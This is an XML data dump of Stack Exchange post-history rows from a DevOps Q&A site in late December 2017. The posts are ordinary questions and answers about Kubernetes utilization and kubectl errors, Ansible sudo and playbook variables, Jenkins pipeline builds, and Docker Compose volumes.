  <row Id="9253" PostHistoryTypeId="5" PostId="2960" RevisionGUID="1a34e912-50c6-417f-a2f4-1a298ae3fc55" CreationDate="2017-12-26T11:16:32.117" UserId="5863" Comment="added 238 characters in body" Text="I have a 3-node kubernetes cluster with 3 `n1-standard-1 :1 vCPU, 3,75 Go RAM`, in a gcloud projet. Recently, I ran a test that created quite a few jobs (about 150). Half the jobs were running an hello world script, the other half were failing due to configuration error, and those jobs kept retrying by restarting new pods.&#xD;&#xA;&#xD;&#xA;In my console I observed the following graph:&#xD;&#xA;&#xD;&#xA;[![is the unit % or 1.0][1]][1]&#xD;&#xA;&#xD;&#xA;It seems that my cluster is capped at 3% of maximum utilization, if I read the units correctly. What bothers me is that in my test, the amount of pods/utilisation should not be constant, so I was not expecting the utilization to be a flat line like this.&#xD;&#xA;&#xD;&#xA;Also, I noticed about about 30 pods were in unschedulable state, so my initial thought was that I reached maximum utilization of the instance. &#xD;&#xA;&#xD;&#xA;# EDIT&#xD;&#xA;&#xD;&#xA;It is clear now that my test is too poorly designed, so I cannot conclude about maximum utilization so far.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/HAAvj.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostHistoryTypeId="6" PostId="2960" RevisionGUID="8f65258f-42d0-46e9-be57-b3cd5c41216e" CreationDate="2017-12-26T11:23:39.150" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9255" PostHistoryTypeId="5" PostId="2961" RevisionGUID="581892e0-aa9e-47fe-bd57-8d28f56880b8" CreationDate="2017-12-26T11:28:11.477" UserId="210" Comment="added 300 characters in body" Text="&gt; It seems that my cluster is capped at 3% of maximum utilization, if I&#xD;&#xA;&gt; read the units correctly. This makes no sense at all, why isn't it&#xD;&#xA;&gt; capable of reaching 100% ?&#xD;&#xA;&#xD;&#xA;Why do you think it does make no sense at all? &#xD;&#xA;&#xD;&#xA;&gt; I ran a few tests that created quite a few pods&#xD;&#xA;&#xD;&#xA;What is a few tests?&#xD;&#xA;&#xD;&#xA;&gt; (each pod running basically an hello world script)&#xD;&#xA;&#xD;&#xA;What does this script do? Print helloworld? If that is the case then it could be possible that the cluster will not use 100%.&#xD;&#xA;&#xD;&#xA;By the way, how large is the cluster? How many agents? How many memory? So if the cluster possesses 1024GB of memory then it could be the case it is using 3%.&#xD;&#xA;&#xD;&#xA;In summary, to indicate whether `something makes no sense at all` a number of facts is required:&#xD;&#xA;&#xD;&#xA; - content of the helloworld script&#xD;&#xA; - characteristics of the cluster, e.g. totol cpu, memory, type of disks, storage capacity, number of agents, masters&#xD;&#xA; - definition of `few tests` and `few pods`. How many tests were run, frequency, e.g. 10/s, how many pods&#xD;&#xA;&#xD;&#xA;If you would really like to loadtest a k8s cluster, kubernetes has some documentation about this, e.g. [this document][1] explains how to load test a k8s cluster and in this case force autoscaling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9256" PostHistoryTypeId="50" PostId="2152" RevisionGUID="e7de5b59-6555-4798-9297-0954b77fe5bc" CreationDate="2017-12-26T11:30:46.120" UserId="-1" />
  <row Id="9257" PostHistoryTypeId="5" PostId="2958" RevisionGUID="596b5a19-ded1-47fc-897d-eb44ffa96e40" CreationDate="2017-12-26T11:35:03.170" UserId="5579" Comment="deleted 4 characters in body" Text="A system administrator is responsible for maintaining and configuring servers and their responsibility is to ensure the user with the performance, uptime and security that they are looking for. Defining the role of a DevOps engineer is a little more difficult since there is no formal career path and DevOps itself can have many forms. &#xD;&#xA;&#xD;&#xA;A DevOps engineer can be, for example, a developer who is interested in network and deployment operations or a system administrator who has a passion for coding and scripting. The transition from system administrator to DevOps engineer is not very difficult, in fact, this [article][1] does a very good job describing the process. &#xD;&#xA;&#xD;&#xA;Many people would even argue that this transition from system administrator to DevOps engineer is essential since the position of system administrator will become obsolete in the future. Even though there are plenty of legacy servers that need maintenance and system administrators possess a lot of “tribal knowledge” the sysadmin position will become more scarce in the future. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://squadex.com/insights/system-administrator-making-leap-devops/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9258" PostHistoryTypeId="50" PostId="1533" RevisionGUID="36abd028-e6f2-4c2d-b30a-ee45158dca5f" CreationDate="2017-12-26T12:30:55.137" UserId="-1" />
  <row Id="9259" PostHistoryTypeId="50" PostId="1193" RevisionGUID="c838abd4-81d8-4dcb-b141-4f5da47f9479" CreationDate="2017-12-26T13:30:48.177" UserId="-1" />
  <row Id="9262" PostHistoryTypeId="50" PostId="1422" RevisionGUID="a2f5b5aa-20ec-4a62-8017-9d2c9ee5487b" CreationDate="2017-12-26T15:31:41.263" UserId="-1" />
  <row Id="9264" PostHistoryTypeId="50" PostId="2644" RevisionGUID="4c2adf80-88fa-44aa-b87d-67461a1c824f" CreationDate="2017-12-26T16:32:41.543" UserId="-1" />
  <row Id="9266" PostHistoryTypeId="50" PostId="1779" RevisionGUID="f534f855-8dfb-4e9f-b1eb-e372cb80c4ff" CreationDate="2017-12-26T17:32:36.333" UserId="-1" />
  <row Id="9267" PostHistoryTypeId="2" PostId="2963" RevisionGUID="5364bc85-7703-4832-b227-02dc66cfbd4d" CreationDate="2017-12-26T18:02:41.840" UserId="323" Text="When I run ansible against a host machine that has some commands I need to run as root, I can't run these with &quot;become&quot; because it runs the commands as root instead of just running them with sudo.&#xD;&#xA;&#xD;&#xA;What I've been doing is just using `command: sudo ...`  and then suppressing warnings with &#xD;&#xA;&#xD;&#xA;    args: &#xD;&#xA;      warn: no&#xD;&#xA;&#xD;&#xA;is there a better, more standardized, way to run a linux commandline with sudo sans password?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9268" PostHistoryTypeId="1" PostId="2963" RevisionGUID="5364bc85-7703-4832-b227-02dc66cfbd4d" CreationDate="2017-12-26T18:02:41.840" UserId="323" Text="How to run Ansible with sudo no password commands with become syntax" ContentLicense="CC BY-SA 3.0" />
  <row Id="9269" PostHistoryTypeId="3" PostId="2963" RevisionGUID="5364bc85-7703-4832-b227-02dc66cfbd4d" CreationDate="2017-12-26T18:02:41.840" UserId="323" Text="&lt;ansible&gt;&lt;passwords&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9270" PostHistoryTypeId="50" PostId="1517" RevisionGUID="8ce4e5b3-70ab-48ee-a7f4-0e888c005c4d" CreationDate="2017-12-26T18:32:42.917" UserId="-1" />
  <row Id="9271" PostHistoryTypeId="2" PostId="2964" RevisionGUID="82e930a3-17e5-46c2-8568-2ac6579e6c59" CreationDate="2017-12-26T18:48:31.190" UserId="960" Text="&gt; When I run ansible against a host machine that has some commands I need to run as root, I can't run these with &quot;become&quot; because it runs the commands as root instead of just running them with sudo.&#xD;&#xA;&#xD;&#xA;That's not true; [`become`](https://docs.ansible.com/ansible/latest/become.html) uses a variety of methods for privilege escalation, and defaults to using `sudo`.&#xD;&#xA;&#xD;&#xA;Are you perhaps running into one of [the known limitations with the become module](https://docs.ansible.com/ansible/latest/become.html#limitations), like [trying to limit sudo access to certain commands](https://docs.ansible.com/ansible/latest/become.html#can-t-limit-escalation-to-certain-commands)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9272" PostHistoryTypeId="50" PostId="2643" RevisionGUID="6661e882-321a-4461-966a-00613ee8f6b7" CreationDate="2017-12-26T19:32:38.647" UserId="-1" />
  <row Id="9273" PostHistoryTypeId="2" PostId="2965" RevisionGUID="fa81e837-14ea-443e-8575-eb777324a268" CreationDate="2017-12-26T19:48:19.023" UserId="210" Text="Did you try -K already? I always use this option and then a sudo password has to be entered" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostHistoryTypeId="50" PostId="1746" RevisionGUID="7fac5cdc-68f2-42bc-bd77-972f2516b6ff" CreationDate="2017-12-26T20:32:39.803" UserId="-1" />
  <row Id="9275" PostHistoryTypeId="34" PostId="2883" RevisionGUID="47933446-d4d8-4809-b409-a89baa9b6f5f" CreationDate="2017-12-26T21:55:51.517" UserId="60" Comment="12" />
  <row Id="9276" PostHistoryTypeId="2" PostId="2966" RevisionGUID="7393d54c-5f5d-4a42-b937-8c880251be76" CreationDate="2017-12-26T23:04:10.207" UserId="4115" Text="Yes, this is pretty easy with Jenkinsfiles with no need for any third-party plugins or anything along those lines: use the [built-in Pipeline build step](https://jenkins.io/doc/pipeline/steps/pipeline-build-step/).&#xD;&#xA;&#xD;&#xA;I use this to trigger builds of projects in a dependency chain, so that after one project builds successfully, other projects that depend on it will pull in the updated dependency and build against it.&#xD;&#xA;&#xD;&#xA;Here is what this looks like in a Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    build repoName&#xD;&#xA;&#xD;&#xA;where `repoName` is a variable containing the name of the repository you wish to build.&#xD;&#xA;&#xD;&#xA;Things can get a little more complicated, such as if you're using folders or Multibranch Pipelines:&#xD;&#xA;&#xD;&#xA;    build &quot;${projectName}/${repoName}/${branchName}&quot;&#xD;&#xA;&#xD;&#xA;This example builds a job within a Multibranch project where the variables are:&#xD;&#xA; * `projectName` - the name of my Multibranch project&#xD;&#xA; * `repoName` - the name of the repository&#xD;&#xA; * `branchName` - the name of the branch to build, usually `master`&#xD;&#xA;&#xD;&#xA;Or this example builds a job with parameters and also triggers the build asynchronously (parent job won't wait for child job to complete before moving on to the next step):&#xD;&#xA;&#xD;&#xA;    build(&#xD;&#xA;      jobName,&#xD;&#xA;      wait: false,&#xD;&#xA;      parameters: [&#xD;&#xA;        [&#xD;&#xA;          $class: 'BooleanParameterValue',&#xD;&#xA;          name: 'someBooleanParameter',&#xD;&#xA;          value: true,&#xD;&#xA;        ],&#xD;&#xA;        [&#xD;&#xA;          $class: 'StringParameterValue',&#xD;&#xA;          name: 'someStringParameter',&#xD;&#xA;          value: 'some string value',&#xD;&#xA;        ],&#xD;&#xA;      ],&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;As you can see, the invocation of `build` can get relatively complex.  See the documentation linked above for more complete information." ContentLicense="CC BY-SA 3.0" />
  <row Id="9277" PostHistoryTypeId="5" PostId="2956" RevisionGUID="696bd861-d2c1-4d6f-9d9e-47c3a18c0205" CreationDate="2017-12-26T23:53:51.093" UserId="5859" Comment="I answered subsequent questions in comments." Text="I cannot create a kubernetes pod.  I just deployed Kubernetes to Ubuntu 16.04.&#xD;&#xA;&#xD;&#xA;I have this as a.yml:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 2&#xD;&#xA;      selector:&#xD;&#xA;        app: nginx&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          name: nginx&#xD;&#xA;          labels:&#xD;&#xA;            app: nginx&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: nginx&#xD;&#xA;            image: nginx&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;&#xD;&#xA;I run this: `kubectl create -f a.yml`&#xD;&#xA;&#xD;&#xA;I get this: &#xD;&#xA;&#xD;&#xA;&gt; Error from server (NotFound): the server could not find the requested&#xD;&#xA;&gt; resource&#xD;&#xA;&#xD;&#xA;I expected the above command to create a pod.&#xD;&#xA;&#xD;&#xA;I ran this: `kubectl cluster-info dump`&#xD;&#xA;&#xD;&#xA;I got this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/nodes&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;name&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;                &quot;selfLink&quot;: &quot;/api/v1/nodes/ip-10-10-10-10&quot;,&#xD;&#xA;                &quot;uid&quot;: &quot;cdc51051-ea07-11e7-b7ae-025c31abfac0&quot;,&#xD;&#xA;                &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;                &quot;creationTimestamp&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;                &quot;labels&quot;: {&#xD;&#xA;                    &quot;kubernetes.io/hostname&quot;: &quot;ip-10-10-10-10&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;Spec&quot;: {&#xD;&#xA;                    &quot;PodCIDR&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;ExternalID&quot;: &quot;ip-10-10-10-10&quot;,&#xD;&#xA;                    &quot;ProviderID&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Unschedulable&quot;: false,&#xD;&#xA;                    &quot;Taints&quot;: null,&#xD;&#xA;                    &quot;ConfigSource&quot;: null&#xD;&#xA;                },&#xD;&#xA;                &quot;Status&quot;: {&#xD;&#xA;                    &quot;Capacity&quot;: {&#xD;&#xA;                        &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Allocatable&quot;: {&#xD;&#xA;                        &quot;cpu&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;memory&quot;: &quot;0&quot;,&#xD;&#xA;                        &quot;pods&quot;: &quot;40&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Phase&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Conditions&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Type&quot;: &quot;Ready&quot;,&#xD;&#xA;                            &quot;Status&quot;: &quot;True&quot;,&#xD;&#xA;                            &quot;LastHeartbeatTime&quot;: &quot;2017-12-26T07:03:01Z&quot;,&#xD;&#xA;                            &quot;LastTransitionTime&quot;: &quot;2017-12-26T06:41:29Z&quot;,&#xD;&#xA;                            &quot;Reason&quot;: &quot;kubelet is posting ready status&quot;,&#xD;&#xA;                            &quot;Message&quot;: &quot;&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;Addresses&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Type&quot;: &quot;LegacyHostIP&quot;,&#xD;&#xA;                            &quot;Address&quot;: &quot;10.10.10.10&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;DaemonEndpoints&quot;: {&#xD;&#xA;                        &quot;KubeletEndpoint&quot;: {&#xD;&#xA;                            &quot;Port&quot;: 0&#xD;&#xA;                        }&#xD;&#xA;                    },&#xD;&#xA;                    &quot;NodeInfo&quot;: {&#xD;&#xA;                        &quot;MachineID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;SystemUUID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;BootID&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KernelVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;OSImage&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;ContainerRuntimeVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KubeletVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;KubeProxyVersion&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;OperatingSystem&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;Architecture&quot;: &quot;&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Images&quot;: null,&#xD;&#xA;                    &quot;VolumesInUse&quot;: null,&#xD;&#xA;                    &quot;VolumesAttached&quot;: null&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        ] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/events&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/replicationcontrollers&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } {&#xD;&#xA;        &quot;selfLink&quot;: &quot;/api/v1/namespaces/kube-system/services&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;185&quot;,&#xD;&#xA;        &quot;Items&quot;: [] } Error from server (NotFound): the server could not find the requested resource (get daemonsets.extensions)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update 12/26/17&#xD;&#xA;&#xD;&#xA;The command `kubectl get ns` produces &#xD;&#xA;&#xD;&#xA;&gt; the server doesn't have a resource type &quot;namespaces&quot;&#xD;&#xA;&#xD;&#xA;$ `kubectl version`&#xD;&#xA;&#xD;&#xA;&gt; Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;9&quot;,&#xD;&#xA;&gt; GitVersion:&quot;v1.9.0&quot;,&#xD;&#xA;&gt; GitCommit:&quot;925c127ec6b946659ad0fd596fa959be43f0cc05&quot;,&#xD;&#xA;&gt; GitTreeState:&quot;clean&quot;, BuildDate:&quot;2017-12-15T21:07:38Z&quot;,&#xD;&#xA;&gt; GoVersion:&quot;go1.9.2&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;} Server&#xD;&#xA;&gt; Version: version.Info{Major:&quot;1&quot;, Minor:&quot;0&quot;, GitVersion:&quot;v1.0.3&quot;,&#xD;&#xA;&gt; GitCommit:&quot;61c6ac5f350253a4dc002aee97b7db7ff01ee4ca&quot;,&#xD;&#xA;&gt; GitTreeState:&quot;clean&quot;, BuildDate:&quot;&quot;, GoVersion:&quot;&quot;, Compiler:&quot;&quot;,&#xD;&#xA;&gt; Platform:&quot;&quot;}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9278" PostHistoryTypeId="33" PostId="2883" RevisionGUID="f245663f-911a-4f7a-806a-ca823adf9318" CreationDate="2017-12-27T00:47:31.627" UserId="60" Comment="13" />
  <row Id="9280" PostHistoryTypeId="4" PostId="2883" RevisionGUID="cf0efdeb-c945-406d-9d9e-16bd930b6e31" CreationDate="2017-12-27T05:25:02.530" UserId="210" Comment="edited title" Text="What are the signs of an understaffed DevOps team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9281" PostHistoryTypeId="2" PostId="2967" RevisionGUID="41195c0b-58d9-46c5-ae8c-762a92434db1" CreationDate="2017-12-27T07:26:25.623" UserId="5879" Text="When starting a docker compose application, it creates named volume the first time around and then additional volumes each time it is started. Is this the normal behavior in that it creates incremental volumes or is my docker-compose file broken? In addition, after running `docker volume prune`, it removed two of the unnamed volumes&#xD;&#xA;&#xD;&#xA;This is the output after starting it twice:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               2b33c81e6e955ff36061f4120b7181c7efc7aebded2f87eaa7290027f1e7a725&#xD;&#xA;    local               74301eadc75018d6f7da76aec44bcf743e03261492cfcc33211941684a570030&#xD;&#xA;    local               c42b1e2c17342c52b4b9e90f4d4b7fa24ccb30de5479e65cf4366e2373dfb0bf&#xD;&#xA;    local               dcfa63dbf99362fc92fe3b981f50abebfe1bba03063d4dd9dd790f4c058817cf&#xD;&#xA;    local               dockerinfluxdbgrafana_grafana-data&#xD;&#xA;    local               dockerinfluxdbgrafana_influxdb-data&#xD;&#xA;&#xD;&#xA;And for reference my docker-compose file&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - 'env.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;      &#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - 'env.grafana'&#xD;&#xA;          - 'secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:" ContentLicense="CC BY-SA 3.0" />
  <row Id="9282" PostHistoryTypeId="1" PostId="2967" RevisionGUID="41195c0b-58d9-46c5-ae8c-762a92434db1" CreationDate="2017-12-27T07:26:25.623" UserId="5879" Text="Why are unnamed volumes created when starting a docker compose application" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostHistoryTypeId="3" PostId="2967" RevisionGUID="41195c0b-58d9-46c5-ae8c-762a92434db1" CreationDate="2017-12-27T07:26:25.623" UserId="5879" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9284" PostHistoryTypeId="2" PostId="2968" RevisionGUID="561754f0-093e-4a27-a0a5-7bb1de856328" CreationDate="2017-12-27T09:09:04.670" UserId="5579" Text="The definition I always use in this situation is the following: &#xD;&#xA;&#xD;&#xA;“A software creation culture that emphasizes communication and collaboration between software development and operations teams while automating the software delivery process and infrastructure changes. The goal of DevOps is to make software building, testing and deployment process as frequent, fast and as possible.”&#xD;&#xA;&#xD;&#xA;However, along with the definition, it is also important that they understand WHY we need [DevOps.][1] Be sure to tell them that DevOps mitigates software defects faster, allows for better resource management, less human error, better version control, stable operating environment etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://squadex.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostHistoryTypeId="12" PostId="2932" RevisionGUID="ca7ca108-0494-4052-87ca-528844107451" CreationDate="2017-12-27T11:08:47.627" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="9287" PostHistoryTypeId="13" PostId="2932" RevisionGUID="17ba7184-33a5-4bbf-be50-5fd07517028c" CreationDate="2017-12-27T11:15:35.583" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="9288" PostHistoryTypeId="50" PostId="2432" RevisionGUID="efd34b8a-b53f-4aa5-ace4-b261523aef24" CreationDate="2017-12-27T13:40:24.743" UserId="-1" />
  <row Id="9291" PostHistoryTypeId="2" PostId="2969" RevisionGUID="9b60d5a3-0371-44de-9d84-c2e0aa0daf92" CreationDate="2017-12-27T18:49:44.460" UserId="323" Text="I've got a number of ansible playbooks that I come back to from time to time, some have required and optional arguments that I forget about from time to time.&#xD;&#xA;&#xD;&#xA;I know there's a list-tags, list-hosts and list-tasks option baked into the ansible-playbook command, there's no list-args, which would be super useful, but maybe it means I'm using ansible wrong?&#xD;&#xA;&#xD;&#xA;So what strategies do devops engineers use to manage &quot;api's&quot; for ansible playbooks? Maybe just a recursive grep command to list non-standard args that aren't registered variables (sounds complicated...)" ContentLicense="CC BY-SA 3.0" />
  <row Id="9292" PostHistoryTypeId="1" PostId="2969" RevisionGUID="9b60d5a3-0371-44de-9d84-c2e0aa0daf92" CreationDate="2017-12-27T18:49:44.460" UserId="323" Text="Discovering extra args needed for running ansible playbooks" ContentLicense="CC BY-SA 3.0" />
  <row Id="9293" PostHistoryTypeId="3" PostId="2969" RevisionGUID="9b60d5a3-0371-44de-9d84-c2e0aa0daf92" CreationDate="2017-12-27T18:49:44.460" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostHistoryTypeId="5" PostId="2969" RevisionGUID="0edb55da-49fc-4ab9-b2a5-ebcb6c946ef3" CreationDate="2017-12-27T18:55:31.260" UserId="323" Comment="added 82 characters in body" Text="I've got a number of ansible playbooks that I come back to from time to time, some have required and optional arguments that I forget about from time to time.&#xD;&#xA;&#xD;&#xA;I know there's a list-tags, list-hosts and list-tasks option baked into the ansible-playbook command, there's no list-args, which would be super useful, but maybe it means I'm using ansible wrong?&#xD;&#xA;&#xD;&#xA;So what strategies do devops engineers use to manage &quot;api's&quot; for ansible playbooks? Maybe just a recursive grep command to list non-standard args that aren't registered variables like this&#xD;&#xA;&#xD;&#xA;&gt;  grep -or &quot;{{[a-zA-Z_ ]\+}}&quot; roles/.  | grep -v &quot;ansible&quot; | grep -v &quot;item&quot;&#xD;&#xA;&#xD;&#xA;only better." ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostHistoryTypeId="2" PostId="2971" RevisionGUID="ad11c02e-9683-425c-bb17-5848332df95d" CreationDate="2017-12-27T22:10:18.227" UserId="210" Text="&gt; some have required and optional arguments that I forget about from&#xD;&#xA;&gt; time to time&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/latest/playbooks_variables.html#variables-defined-in-inventory&#xD;&#xA;&#xD;&#xA;&gt; Ok, so if you are writing a redistributable role with reasonable&#xD;&#xA;&gt; defaults, put those in the roles/x/defaults/main.yml file. This means&#xD;&#xA;&gt; the role will bring along a default value but ANYTHING in Ansible will&#xD;&#xA;&gt; override it. It’s just a default. That’s why it says “defaults” :) See&#xD;&#xA;&gt; Roles for more info about this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     ---&#xD;&#xA;&gt;     # file: roles/x/defaults/main.yml&#xD;&#xA;&gt;     # if not overridden in inventory or as a parameter, this is the value that will be used&#xD;&#xA;&gt;     http_port: 80&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are writing a role and want to ensure the value in the role is&#xD;&#xA;&gt; absolutely used in that role, and is not going to be overridden by&#xD;&#xA;&gt; inventory, you should put it in roles/x/vars/main.yml like so, and&#xD;&#xA;&gt; inventory values cannot override it. -e however, still will:&#xD;&#xA;&#xD;&#xA;In summary, always set reasonable defaults, e.g. a software version that exists instead of using a non-existing one or empty variable and if there is a constant, put it in the vars directory." ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostHistoryTypeId="5" PostId="2969" RevisionGUID="e3cb251f-3bd7-47da-9320-a54e9b1efcf0" CreationDate="2017-12-27T22:10:36.717" UserId="210" Comment="added 1 character in body" Text="I've got a number of ansible playbooks that I come back to from time to time, some have required and optional arguments that I forget about from time to time.&#xD;&#xA;&#xD;&#xA;I know there's a list-tags, list-hosts and list-tasks option baked into the ansible-playbook command, there's no list-args, which would be super useful, but maybe it means I'm using ansible wrong?&#xD;&#xA;&#xD;&#xA;So what strategies do devops engineers use to manage &quot;api's&quot; for ansible playbooks? Maybe just a recursive grep command to list non-standard args that aren't registered variables like this&#xD;&#xA;&#xD;&#xA;    grep -or &quot;{{[a-zA-Z_ ]\+}}&quot; roles/.  | grep -v &quot;ansible&quot; | grep -v &quot;item&quot;&#xD;&#xA;&#xD;&#xA;only better." ContentLicense="CC BY-SA 3.0" />
  <row Id="9298" PostHistoryTypeId="5" PostId="2971" RevisionGUID="462c32fd-effd-4833-a5c2-4948b7cc3541" CreationDate="2017-12-27T22:18:38.110" UserId="210" Comment="added 260 characters in body" Text="&gt; some have required and optional arguments that I forget about from&#xD;&#xA;&gt; time to time&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/latest/playbooks_variables.html#variables-defined-in-inventory&#xD;&#xA;&#xD;&#xA;&gt; Ok, so if you are writing a redistributable role with reasonable&#xD;&#xA;&gt; defaults, put those in the roles/x/defaults/main.yml file. This means&#xD;&#xA;&gt; the role will bring along a default value but ANYTHING in Ansible will&#xD;&#xA;&gt; override it. It’s just a default. That’s why it says “defaults” :) See&#xD;&#xA;&gt; Roles for more info about this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     ---&#xD;&#xA;&gt;     # file: roles/x/defaults/main.yml&#xD;&#xA;&gt;     # if not overridden in inventory or as a parameter, this is the value that will be used&#xD;&#xA;&gt;     http_port: 80&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are writing a role and want to ensure the value in the role is&#xD;&#xA;&gt; absolutely used in that role, and is not going to be overridden by&#xD;&#xA;&gt; inventory, you should put it in roles/x/vars/main.yml like so, and&#xD;&#xA;&gt; inventory values cannot override it. -e however, still will:&#xD;&#xA;&#xD;&#xA;In summary, always set reasonable defaults, e.g. a software version that exists instead of using a non-existing one or empty variable and if there is a constant, put it in the vars directory.&#xD;&#xA;&#xD;&#xA;There is a number of [galaxy playbooks][1] that could be checked:&#xD;&#xA;&#xD;&#xA; - https://github.com/geerlingguy/ansible-role-nginx&#xD;&#xA; - https://github.com/shelleg/ansible-role-gradle&#xD;&#xA; - https://galaxy.ansible.com/030/firefox/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://galaxy.ansible.com/" ContentLicense="CC BY-SA 3.0" />
